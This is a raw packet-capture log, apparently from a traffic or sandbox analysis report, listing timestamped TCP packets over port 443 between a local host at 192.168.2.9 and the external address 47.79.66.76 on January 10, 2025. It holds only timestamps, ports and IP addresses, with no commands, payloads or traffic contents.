Jan 10, 2025 07:52:12.965214014 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:12.965296984 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:12.965296984 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:12.965317011 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:12.965491056 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:12.967242002 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:12.967269897 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:12.967318058 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:12.967324018 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:12.967338085 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:12.967473984 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:12.978364944 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:12.978446960 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:12.978468895 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:12.978494883 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:12.978533030 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:12.978533030 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.000988007 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.001043081 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.001101971 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.001101971 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.001113892 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.001161098 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.004352093 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.004420042 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.004436016 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.004447937 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.004504919 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.004604101 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.018009901 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.018039942 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.018102884 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.018114090 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.018147945 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.018147945 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.018734932 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.018758059 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.018857002 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.018857002 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.018865108 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.018940926 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.021749973 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.021773100 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.021841049 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.021848917 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.021886110 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.021886110 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.057998896 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.058058977 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.058082104 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.058093071 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.058110952 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.058135986 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.059880018 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.059926987 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.059954882 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.059962034 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.059981108 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.059994936 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.070820093 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.070887089 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.070899963 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.070919991 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.070947886 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.070957899 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.093722105 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.093760967 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.093811035 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.093825102 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.093848944 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.093869925 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.096751928 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.096775055 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.096822977 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.096829891 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.096860886 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.096878052 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.110364914 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.110430002 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.110445976 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.110455036 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.110486031 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.110515118 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.110905886 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.110961914 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.110980988 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.110987902 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.111011982 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.111022949 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.114170074 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.114232063 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.114250898 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.114283085 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.114346027 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.150396109 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.150425911 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.150461912 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.150479078 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.150505066 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.150526047 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.152268887 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.152292967 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.152331114 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.152337074 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.152364016 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.152378082 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.163235903 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.163259029 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.163300037 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.163311005 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.163336039 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.164817095 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.186309099 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.186340094 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.186387062 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.186397076 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.186424017 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.186433077 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.189279079 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.189313889 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.189341068 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.189348936 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.189377069 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.189385891 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.202676058 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.202708960 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.202745914 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.202754021 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.202785015 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.202805996 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.203321934 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.203346014 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.203377962 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.203383923 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.203408957 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.203427076 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.206593037 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.206621885 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.206657887 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.206664085 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.206696033 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.206707954 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.242788076 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.242819071 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.242857933 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.242871046 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.242887974 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.242902994 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.244678974 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.244708061 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.244741917 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.244749069 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.244782925 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.244813919 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.255594969 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.255624056 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.255665064 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.255672932 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.255702972 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.255717039 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.278737068 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.278764963 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.278815031 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.278822899 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.278850079 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.278865099 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.281786919 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.281809092 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.281858921 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.281866074 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.281877041 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.281915903 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.295358896 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.295423985 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.295450926 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.295465946 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.295489073 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.295506954 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.295794010 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.295815945 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.295847893 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.295855045 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.295881987 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.295892954 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.299464941 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.299490929 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.299567938 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.299576044 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.299599886 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.299616098 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.335455894 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.335506916 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.335588932 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.335597992 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.335608959 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.337275028 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.337327957 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.337347984 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.337357044 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.337388039 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.337420940 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.348138094 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.348182917 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.348223925 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.348232985 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.348258972 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.348273039 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.371248007 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.371304989 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.371368885 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.371382952 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.371401072 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.371429920 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.374207973 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.374252081 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.374303102 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.374310017 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.374341965 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.374361038 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.387836933 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.387880087 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.387914896 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.387932062 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.387962103 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.387980938 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.388801098 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.388844967 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.388870955 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.388876915 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.388905048 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.388921976 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.407947063 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.407994032 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.408045053 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.408056021 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.408071041 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.408931971 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.427850962 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.427894115 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.428035021 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.428035021 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.428044081 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.429167032 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.439219952 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.439282894 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.439322948 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.439337015 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.439344883 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.440896988 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.447123051 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.447145939 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.447191954 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.447199106 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.447227001 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.447244883 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.463666916 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.463696957 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.463752031 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.463764906 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.463947058 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.463947058 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.479301929 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.479337931 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.479471922 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.479471922 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.479482889 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.480122089 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.480142117 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.480179071 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.480186939 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.480197906 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.480228901 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.481106997 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.481128931 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.481184006 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.481190920 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.481235027 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.500309944 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.500365973 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.500416040 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.500422001 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.500567913 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.520369053 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.520414114 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.520450115 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.520457983 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.520494938 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.520503998 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.531583071 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.531603098 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.531646967 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.531656027 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.531686068 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.531707048 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.539575100 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.539591074 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.539659023 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.539668083 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.539716005 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.556255102 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.556302071 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.556337118 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.556344032 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.556371927 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.556381941 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.571947098 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.571993113 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.572029114 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.572036028 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.572057962 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.572067022 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.572614908 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.572655916 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.572679996 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.572685003 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.572716951 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.572726011 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.573436022 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.573477983 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.573501110 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.573508024 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.573543072 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.573556900 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.593113899 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.593179941 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.593194008 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.593211889 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.593240023 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.593259096 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.612725973 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.612783909 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.612802029 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.612812042 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.612848043 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.624177933 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.624224901 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.624247074 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.624255896 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:13.624280930 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:13.624296904 CET	49751	443	192.168.2.9	47.79.66.76
